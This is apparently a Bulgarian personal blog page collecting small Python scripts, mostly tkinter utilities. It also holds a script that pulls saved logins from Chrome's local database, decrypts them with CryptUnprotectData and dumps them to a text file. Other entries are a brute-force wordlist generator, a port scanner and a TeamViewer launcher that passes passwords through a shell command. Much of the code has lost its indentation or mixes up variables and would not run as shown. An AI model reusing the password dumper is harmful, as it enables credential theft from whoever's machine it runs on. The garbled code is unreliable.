Показват се публикациите с етикет python script. Показване на всички публикации
Показват се публикациите с етикет python script. Показване на всички публикации

15.01.2018 г.

Pytnon tkinter sum completed Bulgarian money

from tkinter import *
from tkinter import ttk

# Функцията за събиране на резултата


def sumarize():
    ''' Първо трие резултата ако е бил натиснат преди това после се проверява
всяко поле дали е различно от празно, ако не е се събира стоиността към тотала '''
    Result.delete(0, END)
    total = 0.00
    if entry_100.get() != '':
        total += (float(entry_100.get()) * 100.00)
    if entry_50.get() != '':
        total += (float(entry_50.get()) * 50.00)
    if entry_20.get() != '':
        total += (float(entry_20.get()) * 20.00)
    if entry_10.get() != '':
        total += (float(entry_10.get()) * 10.00)
    if entry_5.get() != '':
        total += (float(entry_5.get()) * 5.00)
    if entry_2.get() != '':
        total += (float(entry_2.get()) * 2.00)
    if entry_1.get() != '':
        total += (float(entry_1.get()) * 1.00)
    if entry_0.get() != '':
        total += (float(entry_0.get()) * 0.50)
    Result.insert(END, total)

# Фунцкия за добавяне към търсеното към всяко от полетата


def add_to_100():
    total = 0.00
    for i in entry_100.get().split('+'):
        total += float(i)
    entry_100.delete(0, END)
    entry_100.insert(END, total)


def add_to_50():
    total = 0.00
    for i in entry_50.get().split('+'):
        total += float(i)
    entry_50.delete(0, END)
    entry_50.insert(END, total)


def add_to_20():
    total = 0.00
    for i in entry_20.get().split('+'):
        total += float(i)
    entry_20.delete(0, END)
    entry_20.insert(END, total)


def add_to_10():
    total = 0.00
    for i in entry_10.get().split('+'):
        total += float(i)
    entry_10.delete(0, END)
    entry_10.insert(END, total)


def add_to_5():
    total = 0.00
    for i in entry_5.get().split('+'):
        total += float(i)
    entry_5.delete(0, END)
    entry_5.insert(END, total)


def add_to_2():
    total = 0.00
    for i in entry_2.get().split('+'):
        total += float(i)
    entry_2.delete(0, END)
    entry_2.insert(END, total)


def add_to_1():
    total = 0.00
    for i in entry_1.get().split('+'):
        total += float(i)
    entry_1.delete(0, END)
    entry_1.insert(END, total)


def add_to_0():
    total = 0.00
    for i in entry_0.get().split('+'):
        total += float(i)
    entry_0.delete(0, END)
    entry_0.insert(END, total)

# Настрйка на шоркътите през стрелките на клавиатурата
# Не работят
# def up_arrow(event):
# Tab

# def down_arrow(event):
# print(current.position())

# Започваме с настройките на прозореца
root = Tk()
root.title('Money check')
root.geometry('350x370+100+100')
root.maxsize(350, 370)

# Бинд конфигурацията
# root.bind('<Up>', up_arrow)
# root.bind('<Down>', down_arrow)

# 100
label_100 = ttk.Label(root, text='Пари по {:>3}'.format(100))
label_100.grid(row=0, column=0, sticky=W)

entry_100 = Entry()
entry_100.focus()
entry_100.grid(row=0, column=1, padx=5)

B_100 = Button(root, text='+ Добавя към 100', command=add_to_100, width=15,
               font=("Times New Roman", 10, "bold"))
B_100.grid(row=0, column=2)

# 50
label_50 = ttk.Label(root, text='Пари по {:>4}'.format(50))
label_50.grid(row=1, column=0, sticky=W)

entry_50 = Entry()
entry_50.grid(row=1, column=1, padx=5)

B_50 = Button(root, text='+ Добавя към 50', command=add_to_50, width=15,
              font=("Times New Roman", 10, "bold"))
B_50.grid(row=1, column=2)

# 20
label_20 = ttk.Label(root, text='Пари по {:>4}'.format(20))
label_20.grid(row=2, column=0, sticky=W)

entry_20 = Entry()
entry_20.grid(row=2, column=1, padx=5)

B_20 = Button(root, text='+ Добавя към 20', command=add_to_20, width=15,
              font=("Times New Roman", 10, "bold"))
B_20.grid(row=2, column=2)

# 10
label_10 = ttk.Label(root, text='Пари по {:>4}'.format(10))
label_10.grid(row=3, column=0, sticky=W)

entry_10 = Entry()
entry_10.grid(row=3, column=1, padx=5)

B_10 = Button(root, text='+ Добавя към 10', command=add_to_10, width=15,
              font=("Times New Roman", 10, "bold"))
B_10.grid(row=3, column=2)

# 5
label_5 = ttk.Label(root, text='Пари по {:>5}'.format(5))
label_5.grid(row=4, column=0, sticky=W)

entry_5 = Entry()
entry_5.grid(row=4, column=1, padx=5)

B_5 = Button(root, text='+ Добавя към 5', command=add_to_5, width=15,
             font=("Times New Roman", 10, "bold"))
B_5.grid(row=4, column=2)

# 2
label_2 = ttk.Label(root, text='Пари по {:>5}'.format(2))
label_2.grid(row=5, column=0, sticky=W)

entry_2 = Entry()
entry_2.grid(row=5, column=1, padx=5)

B_2 = Button(root, text='+ Добавя към 2', command=add_to_2, width=15,
             font=("Times New Roman", 10, "bold"))
B_2.grid(row=5, column=2)

# 1
label_1 = ttk.Label(root, text='Пари по {:>5}'.format(1))
label_1.grid(row=6, column=0, sticky=W)

entry_1 = Entry()
entry_1.grid(row=6, column=1, padx=5)

B_1 = Button(root, text='+ Добавя към 1', command=add_to_1, width=15,
             font=("Times New Roman", 10, "bold"))
B_1.grid(row=6, column=2)

# 0.5
label_0 = ttk.Label(root, text='Пари по {:>4}'.format(0.5))
label_0.grid(row=7, column=0, sticky=W)

entry_0 = Entry()
entry_0.grid(row=7, column=1, padx=5)

B_0 = Button(root, text='+ Добавя към 0.5', command=add_to_0, width=15,
             font=("Times New Roman", 10, "bold"))
B_0.grid(row=7, column=2)

# Бутона за сметката
B = Button(root, text='Гранд Тотал', command=sumarize, width=15,
           font=("Times New Roman", 10, "bold"))
B.grid(row=8, column=2, padx=5, sticky=N, pady=5)

# Резулатата
Result = Listbox(root, height=9)
Result.grid(row=8, column=0, columnspan=2, rowspan=2,
            sticky=W + E, padx=5, pady=5)


if __name__ == '__main__':
    root.mainloop()

10.06.2017 г.

Tkinter search for file, delete, copy or move them

from tkinter import *
from tkinter import filedialog
import os
import sys
from shutil import copyfile, move

#ASK FOR OPEN BEGIN DIRECTORY
def open_begin_foldert(event=None):
  Begin_Folder =  filedialog.askdirectory(title = "Select begin directory")
E_name.delete(END, 0)
    E_name.insert(0, Begin_Folder)

#ASK FOR OPEN SEARCH DIRECTORY
def open_search_foldert(event=None):
  End_Folder =  filedialog.askdirectory(title = "Select search directory")
E_name_destination.delete(END, 0)
E_name_destination.insert(0, End_Folder)

#GET BEGIN, END DIRECTORY AND PARRET FOR SEARCH
def show_result():
  Begin_Folder = E_name.get()
End_Folder = E_name_destination.get()
patter = E_patern.get()
return ((Begin_Folder, End_Folder, patter))

#--------------------START WITH SEARCH FUNTION'S ---------------
#FUNCTION USE FOR SEARCH PATTER USED IN M_SEARCH FUNCTION UNDER
def search_pattern(patter, Begin_Folder, End_Folder):
  for root, dirname, filename in os.walk(Begin_Folder):
for file in filename:
if file.endswith(patter) and (root != End_Folder):
total_path = root+'/'+file
head, tail = os.path.split(total_path)
  L.insert(END, root+"/"+file)

#SEARCH FUNCTION ADD TO BUTTON SEARCH!
def m_search():
  Begin_Folder, End_Folder, patter = show_result()
search_pattern(patter, Begin_Folder, End_Folder)
#--------------------END WITH SEARCH FUNTION'S ---------------

#--------------------START WITH COPY FUNTION'S ---------------
def copy_pattern(patter, Begin_Folder, End_Folder):
  for root, dirname, filename in os.walk(Begin_Folder):
for file in filename:

if file.endswith(patter) and (root != End_Folder):
                counter = 0
total_path = root+'/'+file
head, tail = os.path.split(total_path)
try:
copyfile(total_path, End_Folder+"/"+tail)
counter += 1
print("Now copy file", self.End_Folder+"/"+tail)
except:
print("File {} exists or somthing wrong with copy!".format(End_Folder+"/"+tail))
  L.insert(END, "Copy was {} file's".format(counter))


def m_copy():
  Begin_Folder, End_Folder, patter = show_result()
  copy_pattern(patter, Begin_Folder, End_Folder)

#--------------------END WITH COPY FUNTION'S ---------------

#--------------------START WITH MOVE FUNTION'S ---------------
def move_pattern(patter, Begin_Folder, End_Folder):
    counter = 0
  for root, dirname, filename in os.walk(Begin_Folder):
for file in filename:
if file.endswith(patter) and os.path.isdir(End_Folder):
total_path = root+'/'+file
head, tail = os.path.split(total_path)
try:
move(total_path, End_Folder+"/"+tail)
counter += 1
print("Move file", End_Folder+"/"+tail)
except:
print("somthing wrong with copy {}!".format(End_Folder+"/"+tail))
    L.insert(END, "Move was {} file's".format(counter))

def m_move():
  Begin_Folder, End_Folder, patter = show_result()
move_pattern(patter, Begin_Folder, End_Folder)
#--------------------END WITH MOVE FUNTION'S ---------------

#--------------------START WITH DELETED FUNTION'S ---------------
def delete_pattern(patter, Begin_Folder, End_Folder):
    counter = 0
  for root, dirname, filename in os.walk(Begin_Folder):
for file in filename:
if file.endswith(patter) and (root != End_Folder):
total_path = root+'/'+file
head, tail = os.path.split(total_path)
try:
os.remove(total_path)
counter += 1
print("Remove file", End_Folder+"/"+tail)
except:
print("somthing wrong with copy {}!".format(End_Folder+"/"+tail))
    L.insert(END, "Deleted {} file's".format(counter))

def m_deleted():
  Begin_Folder, End_Folder, patter = show_result()
delete_pattern(patter, Begin_Folder, End_Folder)

#-------------------END WITH DELETED FUNTION'S ---------------

#TKINTER CONFIGURATION
root = Tk()
root.title("File search or delete")
root.resizable(0,0)
root.geometry("400x450+100+100")


#LABEL's
L_name = Label(root, text="Search_folder")
L_name.grid(row=0, column=0, sticky=W)

L_dest_name = Label(root, text="Destination_folder")
L_dest_name.grid(row=1, column=0)

L_pattern = Label(root, text="Entry pattern")
L_pattern.grid(row=2, column=0, sticky=W)

#ENTRY's
E_NAME_VALUE = StringVar(root)
E_name = Entry(root, textvariable=E_NAME_VALUE)
E_name.grid(row=0, column=1)
E_name.bind('<Button-1>', open_begin_foldert)

E_name_destination = Entry()
E_name_destination.grid(row=1, column=1)
E_name_destination.bind('<Button-1>', open_search_foldert)

E_patern = Entry()
E_patern.grid(row=2, column=1)

#BUTTON's
B_search = Button(root, text="Search", command=m_search)
B_search.grid(row=0, column=2)

B_copy = Button(root, text="Copy", command=m_copy)
B_copy.grid(row=0, column=3)

B_move = Button(root, text="Move", command=m_move)
B_move.grid(row=1, column=3)

B_delete = Button(root, text="Delete", command=m_deleted)
B_delete.grid(row=1, column=2)

#SCROLLBAR
yScroll = Scrollbar(root,orient=VERTICAL)
yScroll.grid(row=3, column=6, sticky=N+S)
#LABEL IS UNDER!

L = Listbox(root, height=20)
L.grid(row=3, column=0, sticky=N+S+E+W, columnspan=5)
L.config(yscrollcommand=yScroll.set)
yScroll.config(command=L.yview)




#Begin the magic!!!
if __name__ == "__main__":
    root.mainloop()

9.06.2017 г.

read file and search some text in file (use chunk size)

#import module sys for get param and exit if param not exists and os for
#check if ifle exists

import sys
import os

#check param is corect when start program in prompt
if len(sys.argv) != 3:
    print("Enter file name and what search in file ")
    sys.exit()
else:
    File_Name = sys.argv[1]
    search_name = sys.argv[2]
#write how much char read when read file name
    line_len = 10


class Main:

    def __init__(self, File_Name):
        self.File_Name = File_Name
        if os.path.isfile(self.File_Name):
            self.read_file_name = open(self.File_Name).read()
            Main.read_file(self, self.read_file_name, line_len)
        else:
            print("File not found")
            sys.exit()

    def read_file(self, name_file, line_len):
        lines = self.read_file_name.split('\n')
        while lines:
            chunk = lines[:line_len]
            lines = lines[line_len:]
            for line in chunk:
                if line.startswith(search_name) or line.startswith(search_name.upper()):
                    print(line)


if __name__ == "__main__":
    main = Main(File_Name)

12.10.2016 г.

Google Translate

# -*- coding: utf-8 -*-
import requests #For get url source code
from bs4 import BeautifulSoup as bs # For search to answer
from Tkinter import * #For tkinter

def translate(Entry, Ask_Lang, Ret_Lang):
    """Return result from google, first configure for what lang to be check"""
    url = 'http://translate.google.com/?sl={}&tl={}&text='.format(Ask_Lang, Ret_Lang)
    q = '+{}'.format(Entry.encode("utf-8"))
    full_url = '{}{}'.format(url, q)
    soup = bs(requests.get(full_url).content, 'lxml')
    result = soup.find('div', {'id': 'gt-res-content'}).find('span',
                        {'id': 'result_box'}).text
    return result.encode("utf-8")


def test():
    Entry = E.get()
    if v.get() == 1:
        Ask_Lang = 'bg'
        Ret_Lang = 'en'
    else:
        Ask_Lang = 'en'
        Ret_Lang = 'bg'
    Translate_Entry = translate(Entry, Ask_Lang, Ret_Lang)
    E_Result.insert(END, Translate_Entry)


def _enter(event):
"""Key Bind to function"""
    test()



#Tkinter configure is here
root = Tk()
root.title("Google translate")
root.geometry("290x75+100+50")
root.bind('<Return>', _enter )
#First label
L = Label(root, text="Enter some word")
L.grid(row=0)
#Entry Label
E = Entry(root)
E.focus()
E.grid(row=0, column=1)
#Second Label
L_Result = Label(root, text="The result")
L_Result.grid(row=1, column=0, sticky=NW)
#Button
Translate = Button(root, text="Translate", command=test, bg='lightgreen', padx=2, pady=2, relief=RAISED)
Translate.grid(row=2,column=0, sticky=W)
#Check Box
v = IntVar()
Check_Box = Checkbutton( root, text="BG", variable= v, offvalue = 0, onvalue= 1 )
Check_Box.grid(row=0, column=2)
#View result is here
E_Result = Entry(root)
E_Result.grid(row=1, column=1)


if __name__ == "__main__":
    root.mainloop()

17.09.2016 г.

Python scan for open port Tkinter

       

#####IMPORT SOME MODULE'S#####
from Tkinter import *
import socket, sys, time
from datetime import datetime
from threading import *

name = socket.gethostname()
name_pr = socket.gethostbyname(name)
firstclick = True

def on_entry_click(event):
    """function that gets called whenever enter_1 is clicked"""        
    global firstclick

    if firstclick: # if this is the first time they clicked it
        firstclick = False
        enter_2.delete(0, "end") # delete all the text in the entry

#####GET HOST NAME AND PORT#####
class Scan_for_port:#####
    def __init__(self, host, port):
        self.host = host    #HOSTNAME
        self.port = port    #PORTS COLECT

    def rep(self):
        #RETURN LIST WIT INCLUDE HOSTNAME AND PORT OR PORT'S
        return [self.host, self.port]


#####CALLBACK FOR BUTTON IS HERE#####
def callback():
    data1 = enter_1.get()   #GET HOSTNAME
    date2 = enter_2.get()    #GET PORTS
    if len(date2.split(",")) > 1: #IF USER USE COMMA FOR SEPARATE FOR PORTS
        total_info = [str(data1), [int(i) for i in date2.split(",")]]
    elif len(date2.split("-")) > 1: #IF USER USE - FOR SEPARATE FOR PORTS 
        total_info = [str(data1), [int(i) for i in (range(int(date2.split("-")[0]),\
(int(date2.split("-")[-1])+1)))]]
    else:     #IF USER WRITE ONLY ONE PORT
        total_info = [str(data1), [int(date2)]]
 
    total_info_result = Scan_for_port(total_info[0], total_info[1])
    return total_info_result.rep()


#####SOCKET CONFIG IS HERE#####
def scan(host, ports):
    lock_object = Semaphore(value=1)
    t1 = datetime.now()
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host,ports))
        s.send("Hello\r\n")
        result = s.recv(100)
        lock_object.acquire()
        mylist.insert(END, "[+]{port} is open {result}".format(port=ports,\
        result=str(result)))
        mylist.see(END)
        mylist.update()
    except:
        lock_object.acquire()
    finally:
        lock_object.acquire()
        s.close()
 
def main():
    t1 = datetime.now()
    host, ports = callback()
    for port in ports:
        socket.setdefaulttimeout(1)
        t = Thread(target=scan, args=(host, int(port)))
        t.start()



#####TKINTER CONFIGURATIONS IS HERE#####
root = Tk()
root.title("CHECK OPEN PORT'S")
root.geometry("280x350+100+100")
root.resizable(0,0)   #DISABLE RESIZE FOR WINDOWS!!!
root.config(bg="#000000")

button1 = Button(root,text="RUN", padx=5, pady=5, command=main)
button1.config(bg="#D2691E", fg="#000000")
button1.config(font=('times', 10, 'underline italic'))
button1.config(bd=4, relief=RAISED)
button1.grid(row=1, column=3,rowspan=2, sticky=NE)

label = Label(root, text="Ente host ip ",bg="#000000", fg="#D2691E")
label.config(font='times')
label.grid(row=1,column=1, sticky=NW, padx=2)

enter_1 = Entry(root, bg='white', fg="black")
enter_1.insert(0, name_pr)
enter_1.focus()
enter_1.grid(row=1,column=2, sticky=N)

label2 = Label(root, text="Enter port's ",bg="#000000", fg="#D2691E")
label2.config(font='times')
label2.grid(row=2,column=1, sticky=NW, padx=2)
enter_2 = Entry(root, bg='white', fg="black")
enter_2.insert(0, "use 1,2 or 1-2 for range")
enter_2.bind('', on_entry_click)
enter_2.grid(row=2,column=2, sticky=N)


mylist = Listbox(root,bg="#000000",fg="#D2691E")
mylist.grid(row=3,column=1, columnspan=4 , rowspan=4, ipadx=80, ipady=100)



if __name__ == '__main__':
    root.mainloop()

       
 

3.09.2016 г.

Show google passwords

# -*- coding: utf-8 -*-
#IMPORT SOME MODULE'S
import sqlite3
import win32crypt
import os
from collections import defaultdict
import pprint

#GLOBAL PARAM'S
GOOGLE_FILE = "Login Data"
GOOGLE_PATH = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"
STORE_RESULT = defaultdict(list)

#STORE PATH FOR "SEARCH_FOR_FILE" FUNCTION
Files = []

#FILE WHERE DRAW RESULT
OUTPUT_FILE = "RESULT.txt"

#SEARCH FOR GLOBAL PARAM IN PATH
def search_for_file():
  for root, dirname, filename in os.walk(GOOGLE_PATH):
for file in filename:
if GOOGLE_FILE == file:
Files.append(os.path.join(root, file))

def sqlite_connect(Files):
  for found in Files:
c = sqlite3.connect(found)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
result = cursor.execute(select_statement)
main_res = result.fetchall()
for url, name, password in main_res:
username_and_pass = []
pwd = win32crypt.CryptUnprotectData(password, None, None, None, 0)
username_and_pass.append(tuple((name, pwd[1])))
STORE_RESULT[url] = username_and_pass


if __name__ == "__main__":
  search_for_file()
sqlite_connect(Files)
with open(OUTPUT_FILE, 'w') as f:
for i, v in STORE_RESULT.items():
f.write(i)
f.write(str(v).encode("utf-8"))
f.write("\n")
pprint.pprint(dict(STORE_RESULT))

22.08.2016 г.

Serch for duplicated file's (!!!Not Erased only show!!!)


##################################################
# Search for duplicated files without,                                    #
# meaningless file exstension                                                 #
# NOT EDIT BY HAND!!! ONLY Dir Param #
##################################################
#IMPORT MODULES FOR SCRIPT
import hashlib, os
from itertools import *
from operator import itemgetter
#THIS USE FOR GIVE MD5 FOR FILE'S
md = hashlib.md5()

#Directory = os.getcwd()
#ADD NEEDED LIST
Dir = "C:\\script\\"
_File = []   #CONTAINED PATH FOR FILE
_File_H = [] #CONTAINED MD5 CODE FOR FILE
_duplicated = [] #CONTAINED DUPLIATED
_duplicated_sravnqva = [] #NEED FOR ZIP
subdirlist = [] #MAY DELETED IF YOU WON USED FOR FUNCTION search_file

#SEARCH WITH OS.WALK
def search_os_walk(Dir):
    for path,dirlist,filelist in os.walk(Dir):
        for fn in filelist:
          try:
        yield os.path.join(path,fn)
        except IOError, e:
    print "Not allowed", e


#FUNCTION USE FOR ENCRIPT FILE TO MD5
def md_5(filePath):
  try:
       with open(filePath, 'rb') as fh:
           m = hashlib.md5()
           while True:
        try:
                  data = fh.read(8192)
                  if not data:
                      break
                  m.update(data)
              except IOError, e:
        print "Not allowerd Basi", e
          return m.hexdigest()
    except IOError, e:
print "Not allowerd", e


#SEARCH FOR FILE AND APPEND THEM TO REQUIRED LIST (LOOKED ABOVE FOR #DESCRIPTION'S )

for file in search_os_walk(Dir):
_File.append(file)
_File_H.append(md_5(file))


for f,z in (izip(_File, _File_H)):
  if z in _duplicated:
_duplicated_sravnqva.append(z)
_duplicated.append(z)


print "*"*80
_Dupliated =  [x[0] for x in zip(_File, _File_H) if x[1] in _duplicated_sravnqva]
one= []
two= []
for i in _Dupliated:
  one.append(i)
two.append(md_5(i))

#RESULT IN DICTIONARI, NEEDED FOR FUNCTION GROUPBY
d = dict(zip(one,two))

di = sorted(d.iteritems(), key=itemgetter(1))
for k, g in groupby(di, key=itemgetter(1)):
#IF YOU WHANT TO SHOW IN COLUMN UNCHECK BOTTOM ROW'S
     # for i,z  in enumerate(map(itemgetter(0), g)):
         # print i,z
     print "Duplicated ", map(itemgetter(0), g)

#raw_input()

14.08.2016 г.

Python generate file with password

       

# -*- coding:utf-8 -*-

#IMPORT MODULE
import itertools
from itertools import islice

#FILE TO WRITE RESULT
File = "password_list.txt"


#FUNCTION GENERATE PASSWORD WORD'S
def generate():
    for z in xrange(3,9):
        res = itertools.product('abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@', repeat=z)
        for i in res:
            r = "".join(i)
            yield r

#WRITE WORD IN FILE
with open(File, 'w') as f:
    for s in generate():
        f.write("{}\n".format(s))


#IF YOU WANT TO READ A FILE SECOND FUNCTION DO THIS
#UNCOMENT ROW FOR WORK WITH!

# with open(File, 'r') as f:
#     while True:
#         next_line = list(islice(f, 1000))
#         if not next_line:
#             break
#         for line in next_line:
#             print line.strip()

       
 

31.12.2015 г.

Python run TeamViewer from ini file.


#---------------Import Modules-------------------
import subprocess, platform, os, ConfigParser, time
from Tkinter import *
from tkFileDialog   import askopenfilename


#---------------Tkinter-------------------------
root = Tk()
root.title("TeamViewer_Parse_From_File")
root.geometry("300x550")
#Scrol bar settings
scrollbar = Scrollbar(root)
scrollbar.pack( side = RIGHT, fill=Y )
#-------------Global Variable is here------------------
List_with_Server = []
Config = ConfigParser.ConfigParser()
Path = None
Path_To_Ini = None
Run = "TeamViewer.exe"
#--------------Check machine 86 or 64------------------
if platform.machine() == 'x86':
    #global name
    Path = "C:\\Program Files\\TeamViewer"
    Path_To_Ini = "C:\\Program Files\\TeamViewer\\acc.ini"
else:
    #global name
    Path = "C:\\Program Files (x86)\\TeamViewer"
    Path_To_Ini = "C:\\Program Files (x86)\\TeamViewer\\acc.ini"

#--------------Function is here------------------------
#--------------Load servers from file in windows-------
def Popalni():
    global Path_To_Ini
    global Path
    global Run
    global Config
    global List_with_Server
    os.chdir(Path)
    ini_file = open(Path_To_Ini, 'r')
    ini_file_content = ini_file.read().strip()
    Config.read(Path_To_Ini)
    List_with_Server = list(Config.sections())

for i in (Config.sections()):
    mylist.insert(END,i)
    mylist.see(END)
    mylist.update()


def Open_Directory():
 """Use for add additional file"""
    name = askopenfilename()
    subprocess.Popen(["notepad.exe", name])

#----------After click on server name load param to begin---
def choose():
    firstIndex =  mylist.curselection()[0]
    global Choiced_Name
    global Config
    Choiced_Name = List_with_Server[firstIndex]
    option = Config.options(Choiced_Name)
    ID_Server = Config.get(Choiced_Name, "User")
    Password_Server = Config.get(Choiced_Name, "Password")
    p = subprocess.Popen(Run+" -i " + ID_Server + " --Password " + Password_Server, shell=True)
    time.sleep(2)
    p.kill()
    root.destroy()

#Menu Bar settings
menubar = Menu(root)
filemenu = Menu(menubar, tearoff=0)
filemenu.add_command(label="Load_All", command=Popalni)
filemenu.add_command(label="Open_Ini_File", command=Open_Directory)
filemenu.add_separator()
filemenu.add_command(label="Exit", command=root.quit)
menubar.add_cascade(label="Menu", menu=filemenu)
root.config(menu=menubar)

mylist = Listbox(root, yscrollcommand = scrollbar.set , bg="lightblue")

frame=Frame(root)
frame.pack()
#Label(text="Anchor").pack(side=LEFT)
chooseButton = Button(frame, text="Load_List", command=Popalni ,bg="lightgreen")
chooseButton.pack(side=LEFT,anchor=NW)
chooseButton1 = Button(frame, text="Run_ID", command=lambda:choose(), bg="lightgreen")
chooseButton1.pack(anchor=NW)
mylist.pack( side = LEFT, fill = BOTH, expand=1 )
scrollbar.config( command = mylist.yview )

#-----------------Take the magic--------------------
if __name__ == "__main__":
    mainloop()
The ini file called "acc.ini" is in the following form:
[First_Id]
User=111111111
Password=Password

[Second_ID]
User=222222222
Password=Password

6.04.2015 г.

Check zodiac sign ,china and wester with python script

# -*- coding: utf-8 -*-
import time,datetime

chainese = ['monkey','rooster','dog','pig','rat','ox','tiger','rabbit','dragon','snake','horse','sheep']

zodia = {
'aries': ['3 21', '4 20'],
'taurus' : ['4 21' , '5 20'],
'gemini' : ['5 21' , '6 20'],
'cancer' : ['6 21' , '7 22'],
'leo' : ['7 23' , '8 22'],
'virgo' : ['8 23' , '9 22'],
'libra' : ['9 23' , '10 22'],
'scorpio' : ['10 23' , '11 21'],
'sagittarius' : ['11 22' , '12 21'],
'capricorn' : ['12 22' , '1 20'],
'aquarius' : ['1 21' , '2 19'],
'pisces' : ['2 19' , '3 20']
}



def check_zodia(month,day):
    """Check zodia use dictioanry zodia"""
    for i in zip(zodia.keys(),zodia.values()):
        if tuple(map(int, [x for x in [i[1][0]]][0].split())) < (month, day) < tuple(map(int,[x for x in [i[1][1]]][0].split())):
            print "Your Zodia is %s" % i[0].title()


def check_china_zodia(year):
    """Check China Zodia sign"""
    check_china_zodia = int(year%12)
    print "In Chaina calendar you'r zodia is : %s" % chainese[check_china_zodia].title()
 

if __name__ == "__main__":
    value = raw_input("Enter day/month/year of Birth :")
    result = map(int, value.split("/"))
    day=result[0]
    month=result[1]
    year=result[2]
    check_zodia(month,day)
    print "\n"
    check_china_zodia(year)

5.04.2015 г.

Change format number from 0888888888 to 0888-88-88-88 in text using python

#-*- coding:utf-8 -*-
import re, fileinput
File = "bbb.txt"
for line in fileinput.FileInput(File, inplace=1):
    pattern = re.compile(r'\d{10}')
    if re.search(pattern,line):
        line = re.sub(r'(\d{4})(\d{2})(\d{2})(\d{2})',r'\1-\2-\3-\4',line).strip()
        print line.strip()
    else:
         print line.strip()